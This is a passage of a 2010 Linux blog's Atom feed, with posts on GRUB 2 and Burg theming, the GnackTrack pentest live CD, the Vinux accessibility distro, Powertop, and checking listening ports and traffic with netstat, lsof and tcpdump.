apt-get -y remove' &lt;/pre&gt;Likewise, you can add some more aliases.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-8690892458970470853?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/8690892458970470853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/working-with-alias.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8690892458970470853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8690892458970470853'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/working-with-alias.html' title='Working With Alias'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-7303214811668970993</id><published>2010-12-18T08:32:00.001+05:30</published><updated>2010-12-18T08:45:26.621+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='GRUB'/><category scheme='http://www.blogger.com/atom/ns#' term='Brug'/><category scheme='http://www.blogger.com/atom/ns#' term='GRUB 2'/><category scheme='http://www.blogger.com/atom/ns#' term='Bootloader'/><title type='text'>Other Advanced Linux Bootloaders.</title><content type='html'>In most Linux system GRUB (Grand Unified Bootloader) or GRUB 2&amp;nbsp; is the default bootloader. If you have more than one OS installed in your hardware, then you have to stare for few seconds on the bootloader everytime, you power on. There are other options which will help you getting ride of such monotonicity. If your system has GRUB by default (Fedora &amp;amp; OpenSUSE), you can upgrade it to GRUB 2 which has more features. There is also a derivative of GRUB called Burg (GRUB, letters written in reverse stands for&amp;nbsp; Brand-new Universal loader from GRUB ). Let's see the features of both bootloader separately:&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;GRUB 2&lt;/b&gt;&lt;br /&gt;It provides themable options. Both Ubuntu and Debian use GRUB 2 by default, so if you use either of  those distros you can jump right to the theming section. In case of Fedora you can directly switch to GRUB 2 by installation but in OpenSUSE, you have to compiled by source.&lt;br /&gt;&amp;nbsp;Features:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The format consists of a text file that lists fonts, colors, and  bitmap components, and defines their onscreen layout.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Themable elements  include the background image, progress bars, and "styled boxes", you can specify images  for each corner, the left, right, top, and bottom sides, and the space  in the middle.&lt;/li&gt;&lt;li&gt;  List of bootable  kernels can be altered about how it is rendered,  but you can't rearrange it entirely.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Can use HTML/SVG colors/comma-separated RGB triples/ &lt;a href="http://grub.gibibit.com/New_font_format"&gt;PFF2&lt;/a&gt; bitmap fonts. &lt;/li&gt;&lt;/ul&gt;&amp;nbsp;GRUB 2 stores configuration  files in &lt;code&gt;/etc/grub.d/&lt;/code&gt;; the theming commands&amp;nbsp; moved to the 00_header file. Of course, you'll probably want to browse some pre-tested  themes before you create a custom one all on your own. Bennett's site  has a few &lt;a href="http://grub.gibibit.com/Themes"&gt;examples&lt;/a&gt;; for additional collections your best bet is to check the openDesktop sites, &lt;a href="http://gnome-look.org/content/search.php?xsortmode=new&amp;amp;search=1&amp;amp;type=0&amp;amp;user=&amp;amp;text=grub2&amp;amp;sort=0&amp;amp;scorefilter=0&amp;amp;license=99&amp;amp;page=0"&gt;gnome-look.org&lt;/a&gt; and &lt;a href="http://kde-look.org/index.php?xcontentmode=66"&gt;kde-look.org&lt;/a&gt;.&lt;br /&gt;If you intend to do some customizing, start by simply &lt;a href="https://help.ubuntu.com/community/Grub2#Splash%20Images%20and%20Theming"&gt;changing the splash screen&lt;/a&gt; image. Move on to &lt;a href="https://help.ubuntu.com/community/Grub2#Themes"&gt;defining your own theme&lt;/a&gt; later. There is a complete &lt;a href="http://grub.gibibit.com/Theme_format"&gt;guide&lt;/a&gt;  to GRUB 2's theme format. &lt;br /&gt;&lt;b&gt;Burg&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.burgloader.com/"&gt;Burg&lt;/a&gt; expands on GRUB 2's  theming in a number of respects but it's in experimental phase, that's why major distros don't use it. &lt;br /&gt;&lt;ul&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="178" style="clear: right; float: right;" width="320"&gt; &lt;param name="movie" value="http://www.britepic.com/britepic.swf"&gt;&lt;param name="FlashVars" value="id=1579624&amp;src=http://1.bp.blogspot.com/_aCbewboCjBM/TQwjJTG2G0I/AAAAAAAAAMk/VY_h7GKln6c/s320/burg.jpg&amp;keywords=Burg,%20Bootloader,%20open%20source&amp;href=http://1.bp.blogspot.com/_aCbewboCjBM/TQwjJTG2G0I/AAAAAAAAAMk/VY_h7GKln6c/s320/burg.jpg&amp;caption=Burg&amp;width=320&amp;height=178&amp;" &gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.britepic.com/britepic.swf" flashvars="id=1579624&amp;src=http://1.bp.blogspot.com/_aCbewboCjBM/TQwjJTG2G0I/AAAAAAAAAMk/VY_h7GKln6c/s320/burg.jpg&amp;keywords=Burg,%20Bootloader,%20open%20source&amp;href=http://1.bp.blogspot.com/_aCbewboCjBM/TQwjJTG2G0I/AAAAAAAAAMk/VY_h7GKln6c/s320/burg.jpg&amp;caption=Burg&amp;width=320&amp;height=178&amp;" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="transparent" type="application/x-shockwave-flash" width="320" height="178"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;li&gt;Ability to hide text and  present an "icon only" boot menu.&amp;nbsp;&lt;/li&gt;&lt;li&gt; Switch between text  and graphical modes, play sounds.&lt;/li&gt;&lt;li&gt;Ability to preview a theme without rebooting the system, run &lt;code&gt;sudo burg-emu&lt;/code&gt; from a terminal.&amp;nbsp; &lt;/li&gt;&lt;/ul&gt;To &lt;a href="http://code.google.com/p/burg/wiki/InstallUbuntu"&gt;install&lt;/a&gt; Burg all you need to do is add the PPA as an Apt repository, and select the Burg package. There are also &lt;a href="http://code.google.com/p/burg/wiki/ManualInstall"&gt;instructions&lt;/a&gt;  for compiling the Burg source code useful for other distributions — as  with GRUB 2, it is a straightforward process with no unusual  dependencies. .&lt;br /&gt;Burg's main configuration file is &lt;code&gt;/boot/burg/burg.cfg&lt;/code&gt;. Check here for configuring its &lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;/code&gt; &lt;a href="http://code.google.com/p/burg/wiki/ConfigurationVariables"&gt;variables&lt;/a&gt;.&lt;br /&gt;You specify the Burg theme to use, by name, with &lt;code&gt;GRUB_THEME=&lt;i&gt;themename&lt;/i&gt;&lt;/code&gt;. Themes are stored in the directory &lt;code&gt;/boot/burg/themes/&lt;/code&gt;.&amp;nbsp; For your own theme customization read this &lt;a href="http://code.google.com/p/burg/wiki/ThemeCustomization"&gt;documentation.&lt;/a&gt; &lt;br /&gt;The &lt;a href="http://code.google.com/p/burg/downloads/list"&gt;downloads&lt;/a&gt; page has a "burg-theme" package available.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-7303214811668970993?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/7303214811668970993/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/other-advanced-linux-bootloaders.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7303214811668970993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7303214811668970993'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/other-advanced-linux-bootloaders.html' title='Other Advanced Linux Bootloaders.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-586327709597875895</id><published>2010-12-17T16:41:00.000+05:30</published><updated>2010-12-17T16:41:43.247+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Outstanding Linux Distros'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnacktrack'/><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting Live CD'/><title type='text'>Gnacktrack = [Gnome + BackTrack]</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_aCbewboCjBM/TQtCuSjBZUI/AAAAAAAAAMg/sazLz80VO3o/s1600/gnacktrack..jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="172" src="http://4.bp.blogspot.com/_aCbewboCjBM/TQtCuSjBZUI/AAAAAAAAAMg/sazLz80VO3o/s320/gnacktrack..jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;There is a new penetration testing Live CD in the market. It's called &lt;a href="http://www.gnacktrack.co.uk/index.php"&gt;GnackTrack&lt;/a&gt;,&amp;nbsp; made solely for the Gnome lovers. GnacktrackR3 is based on Ubuntu 10.10. There are other penetration testing Live CD like BackTrack, DVL etc. BackTrack is the most well known name with in penetration testing community. Gnacktrack sounds like Backtrack but it's based on Gnome.&lt;br /&gt;The story goes like this (quote from &lt;a href="http://www.gnacktrack.co.uk/faqs.php"&gt;faq&lt;/a&gt;), &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;Many of us have heard of &lt;a href="http://www.backtrack-linux.org/" target="_blank"&gt;BackTrack&lt;/a&gt; but just struggle to get on with &lt;a href="http://www.kde.org//" target="_blank"&gt;KDE&lt;/a&gt;. Many people prefer &lt;a href="http://www.gnome.org/" target="_blank"&gt;Gnome&lt;/a&gt;  based linux distributions and thus GnackTrack was born. Originally  GnackTrack was created by adding Gnome on top of BackTrack and stripping  the KDE parts but this proved to be extremely painful OUCH!!! There was  a lot of "junk" left over so it was decided to build a gnome based  penetration cd from the ground up.&lt;br /&gt;With &lt;a href="http://www.ubuntu.org/" target="_blank"&gt;Ubuntu&lt;/a&gt;  being one of the most popular distributions it made sense to base  GnackTrack on that, especially because the 10.04LTS had a long support  life.&lt;br /&gt;What to call it???? Well, being as we wanted to base this on  BackTrack it made sense to call it GnackTrack. It's just stuck. This  distro also uses the BackTrack repo's so it's only fair to pay respect  to the &lt;a href="http://www.remote-exploit.org/" target="_blank"&gt;RemoteExploit&lt;/a&gt; guys for all they're hard work.&lt;/blockquote&gt;So GnackTrack uses Backtrack repository, that a great news for Gnome users because Backtrack has a great list of amazing tools. The OS is just in incipient stage &amp;amp; lacks some basic features. Most bugs are fixed in this new release.The live cd is also present in VMware format for download.&lt;br /&gt;&lt;br /&gt;Download links:&lt;br /&gt;&lt;a href="http://www.gnacktrack.co.uk/downloads/GnackTrackR3.iso"&gt;Live CD&lt;/a&gt; | &lt;a href="http://www.gnacktrack.co.uk/downloads/GnackTrackR3.7z"&gt;Vmware Image&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-586327709597875895?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/586327709597875895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/gnacktrack-gnome-backtrack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/586327709597875895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/586327709597875895'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/gnacktrack-gnome-backtrack.html' title='Gnacktrack = [Gnome + BackTrack]'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aCbewboCjBM/TQtCuSjBZUI/AAAAAAAAAMg/sazLz80VO3o/s72-c/gnacktrack..jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2946822662087447279</id><published>2010-12-16T20:32:00.001+05:30</published><updated>2010-12-17T16:41:16.548+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Outstanding Linux Distros'/><category scheme='http://www.blogger.com/atom/ns#' term='Vinux'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux For Visually Impaired'/><title type='text'>Vinux : Linux For Visually impaired</title><content type='html'>&lt;div class="MsoNormal"&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="109" style="clear: right; float: right;" width="320"&gt; &lt;param name="movie" value="http://www.britepic.com/britepic.swf"&gt;&lt;param name="FlashVars" value="id=1579624&amp;src=http://4.bp.blogspot.com/_aCbewboCjBM/TQooCY08wJI/AAAAAAAAAMU/DNKEhVSXCHc/s1600/vinux.jpg&amp;keywords=%20linux,%20open%20source%20&amp;show_ads=1&amp;show_menu=1&amp;href=http://4.bp.blogspot.com/_aCbewboCjBM/TQooCY08wJI/AAAAAAAAAMU/DNKEhVSXCHc/s1600/vinux.jpg&amp;caption=Vinux&amp;width=320&amp;height=109&amp;" &gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.britepic.com/britepic.swf" flashvars="id=1579624&amp;src=http://4.bp.blogspot.com/_aCbewboCjBM/TQooCY08wJI/AAAAAAAAAMU/DNKEhVSXCHc/s1600/vinux.jpg&amp;keywords=%20linux,%20open%20source%20&amp;show_ads=1&amp;show_menu=1&amp;href=http://4.bp.blogspot.com/_aCbewboCjBM/TQooCY08wJI/AAAAAAAAAMU/DNKEhVSXCHc/s1600/vinux.jpg&amp;caption=Vinux&amp;width=320&amp;height=109&amp;" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="transparent" type="application/x-shockwave-flash" width="320" height="109"&gt;&lt;/embed&gt;&lt;/object&gt;Vinux 3.1 is has been launched which is a linux based on Ubuntu 10.10 meant for visually impaired users. It’s available in CD &amp;amp; DVD (USB &amp;amp; virtual version is yet to come) in both 32 bit &amp;amp; 64 bit version. &amp;nbsp;Vinux&amp;nbsp; has it’s own package repository, users can install packages using apt-get/synaptic &amp;amp; dedicated IRC channel. Beginner can press &amp;nbsp;(Ctrl+Alt+Q) to access Quick Start Guide. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Some of the feature are:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;Autokey-GTK which can insert text automatically as you type based on pre-defined abbreviations&lt;/li&gt;&lt;li&gt;&amp;nbsp;the Parcellite Clipboard Manager which allows you paste text from the clipboard history&lt;/li&gt;&lt;li&gt;X-Tile which allows you to tile windows automatically&lt;/li&gt;&lt;li&gt;&amp;nbsp;Gnome Media Player as an accessible front-end to VLC&lt;/li&gt;&lt;li&gt;&amp;nbsp;Conkeror a keyboard controlled Web Browser&lt;/li&gt;&lt;li&gt;Pidgin the Internet Messenger (with all the plugins)&lt;/li&gt;&lt;li&gt;&amp;nbsp;Gufw a simple but effective Firewall Manager.&lt;/li&gt;&lt;li&gt;&amp;nbsp;Alarm Clock, a simple GUI for setting timed notifications, &lt;/li&gt;&lt;li&gt;GtkHash an md5sum calculator, &lt;/li&gt;&lt;li&gt;SearchMonkey an advanced search tool, &lt;/li&gt;&lt;li&gt;Terminator which allows you to open multiple tiled terminals in one window, &lt;/li&gt;&lt;li&gt;Tux Commander a dual-paned file manager with keyboard shortcuts,&lt;/li&gt;&lt;li&gt;&amp;nbsp;World Clock which allows you to monitor times in different locations around the world, &lt;/li&gt;&lt;li&gt;Gcolor2 a simple GUI for selecting colours from anywhere on the screen,&lt;/li&gt;&lt;li&gt;&amp;nbsp;the Specimen Font Previewer,&lt;/li&gt;&lt;li&gt;&amp;nbsp;Dlume a simple address book manager, &lt;/li&gt;&lt;li&gt;the ToDo List package,&lt;/li&gt;&lt;li&gt;&amp;nbsp;mhWaveEdit a simple sound recorder/editor GUI, Sound Juicer an audio CD ripper, &lt;/li&gt;&lt;li&gt;FSlint a file system cleaner,&lt;/li&gt;&lt;li&gt;&amp;nbsp;Gtk-ChTheme a GTK theme previewer/changer, &lt;/li&gt;&lt;li&gt;Scheduled Tasks a simple GUI front-end for cron and HardInfo a system profiler &lt;/li&gt;&lt;li&gt;system benchmarker.&lt;/li&gt;&lt;/ul&gt;&lt;div class="MsoNormal"&gt;There are also three new packages unique to Vinux available from the Vinux repository. These are: Markup-Binder &amp;nbsp;- &amp;nbsp;makes the creation of complex navigable documents a simple process, &lt;/div&gt;&lt;div class="MsoNormal"&gt;Speedy-OCR - is a simple GUI front end which allows you to scan in documents and convert then to text and/or speech.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&amp;nbsp;Monitor-Toggle – allows you to turn off your monitor to save battery power and maintain your privacy&lt;/div&gt;&lt;div class="MsoNormal"&gt;Reference:&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://vinux-development.blogspot.com/"&gt;http://vinux-development.blogspot.com/&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://distrowatch.com/?newsid=06398"&gt;http://distrowatch.com/?newsid=06398&lt;/a&gt; &lt;/div&gt;&lt;div class="MsoNormal"&gt;Download link: &lt;/div&gt;&lt;div class="MsoNormal"&gt;32bit &lt;a href="http://vinux.archive-host.com/Vinux-31-X86-DVD.iso"&gt;http://vinux.archive-host.com/Vinux-31-X86-DVD.iso&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: 11pt; line-height: 115%;"&gt;64bit &lt;a href="http://vinux.green-oval.net/Vinux-3.1-X64-DVD.iso"&gt;http://vinux.green-oval.net/Vinux-3.1-X64-DVD.iso&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2946822662087447279?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2946822662087447279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/vinux-linux-for-visually-impaired.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2946822662087447279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2946822662087447279'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/vinux-linux-for-visually-impaired.html' title='Vinux : Linux For Visually impaired'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-6355554820938257602</id><published>2010-12-15T20:12:00.000+05:30</published><updated>2011-12-03T19:33:26.199+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='powertop'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Powertop : [Top + Power Management]</title><content type='html'>&lt;a href="http://www.lesswatts.org/projects/powertop/"&gt;Powertop&lt;/a&gt; is a utility software that lists processes which are eating away your battery power &amp;amp; suggests you power saving useful tips. The utility in mainly meant for laptops where power consumption is critical issue. Powertop is the project of &lt;a href="http://lesswatts.org/"&gt;lesswatts.org&lt;/a&gt;. You can check this &lt;a href="http://www.lesswatts.org/projects/powertop/known.php"&gt;link&lt;/a&gt; for the processes which usually consume more power. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Quoting from lesswatts.org&lt;br /&gt;&lt;blockquote&gt;As of Linux kernel version 2.6.21, the kernel no longer has a fixed 1000Hz timer tick. This will (in theory) give a huge power savings because the CPU stays in low power mode for longer periods of time during system idle. PowerTOP combines various sources of information from the kernel into one convenient screen so that you can see how well your system is doing, and which components are the biggest problem. &lt;/blockquote&gt;As stated in &lt;a href="http://lesswatts.org/"&gt;lesswatts.org&lt;/a&gt; site, PowerTOP has these four basic goals:  &lt;br /&gt;&lt;ul&gt;&lt;li&gt; Show how well your system is using the various hardware power-saving features&lt;/li&gt;&lt;li&gt; Show you the culprit software components that are preventing optimal usage of your hardware power savings&lt;/li&gt;&lt;li&gt; Help Linux developers test their application and achieve optimal behavior&lt;/li&gt;&lt;li&gt; Provide you with tuning suggestions to achieve low power consumption&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;PowerTop covers all major linux distros, run PowerTop by typing powertop. It will show you ACPI estimate of power consumption &amp;amp; lists you suggestions if some process is unnecessarily wasting power. &lt;br /&gt;&lt;br /&gt;Requirements:&lt;br /&gt;32 bit :kernel 2.6.21 or later&lt;br /&gt;64 bit :expected in kernel 2.6.23 &lt;br /&gt;&lt;br /&gt;Before installing have a look at the &lt;a href="http://www.lesswatts.org/projects/powertop/faq.php"&gt;faq of powertop.&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.lesswatts.org/projects/powertop/download.php"&gt;Download link.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://www.lesswatts.org/projects/powertop/"&gt;http://www.lesswatts.org/projects/powertop/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.serverwatch.com/tutorials/article.php/3916986/Using-Powertop-to-Lower-System-Power-Usage.htm"&gt;http://www.serverwatch.com/tutorials/article.php/3916986/Using-Powertop-to-Lower-System-Power-Usage.htm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-6355554820938257602?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/6355554820938257602/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/powertop-top-power-management.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6355554820938257602'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6355554820938257602'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/powertop-top-power-management.html' title='Powertop : [Top + Power Management]'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-1338666825147109459</id><published>2010-12-14T21:30:00.001+05:30</published><updated>2011-12-03T19:33:26.104+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Enhance Linuxbox Security'/><category scheme='http://www.blogger.com/atom/ns#' term='lsof'/><category scheme='http://www.blogger.com/atom/ns#' term='TCPdump'/><category scheme='http://www.blogger.com/atom/ns#' term='netstat'/><title type='text'>Enhance Linuxbox Security : Know all services listening on some ports.</title><content type='html'>There is a inbuilt tool used in Linux that can be used to list the services listening on some ports of your system. This is important because of the following reasons:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Any malware or spyware compromising your security can be noticed &amp;amp; traced.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Check on the (unencrypted) packets which can be easily sniffed in open (wifi) network.&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;&lt;a href="http://www.faqs.org/docs/linux_network/x-087-2-iface.netstat.html"&gt;Netstat&lt;/a&gt; is the tool. Execute the command to list the services which are listening to some ports.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$netstat -nap&lt;br /&gt;&lt;/pre&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Alternative tool is &lt;a href="http://www.google.co.in/url?sa=t&amp;amp;source=web&amp;amp;cd=4&amp;amp;ved=0CC8QFjAD&amp;amp;url=http%3A%2F%2Fwww.cyberciti.biz%2Ftips%2Ftag%2Flsof-command&amp;amp;rct=j&amp;amp;q=lsof&amp;amp;ei=nJMHTcejEZDQrQeSn-GJDg&amp;amp;usg=AFQjCNEX-twabhQd7VqQJRIibFyrCuKcrQ&amp;amp;sig2=i2NoNBZe64SElPiAHlg77A&amp;amp;cad=rja"&gt;lsof&lt;/a&gt; utility which allows you to have the list of active ports used by processes and other useful information. Use apt-get to install it.&amp;nbsp; &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$ lsof -i &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If you want to know more about active connections on your PC, in order for example to monitor the data flow passing through it , you can use a really useful tool embedded in Linux operating &lt;br /&gt;systems which is called TCPdump.&lt;br /&gt;&amp;nbsp;TCPdump allows you to analyze the entire flow of data packets in transit to and from your PC, with a high level of details (headers and plaintext data). It is a great tool to fine-tune the firewall rules.&lt;br /&gt;&amp;nbsp;To list all tcp packets captured by your network interface eth0.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# tcpdump -n -i eth0&lt;br /&gt;&lt;/pre&gt;-n used for displaying ip address &amp;amp; port, -i used for specifying the network interface.&lt;br /&gt;&lt;br /&gt;Everything passing through your network interfaces can be sniffed, and to demonstrate the absolute lack of confidentiality in a TCP packet, try to open a msn/yahoo session and sniff all of your packets with the command:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# tcpdump -Xx -s 500 -n -i eth0&lt;/pre&gt;This lets you see the first 500 characters of a plaintext TCP packet. Everyone over your network could possibly read your confidential messages just using their network inter faces in monitor mode.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://hakin9.org/"&gt;http://hakin9.org&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-1338666825147109459?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/1338666825147109459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-know-all.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1338666825147109459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1338666825147109459'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-know-all.html' title='Enhance Linuxbox Security : Know all services listening on some ports.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-932451236932174149</id><published>2010-12-13T09:47:00.002+05:30</published><updated>2010-12-13T09:51:41.469+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='htop'/><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><category 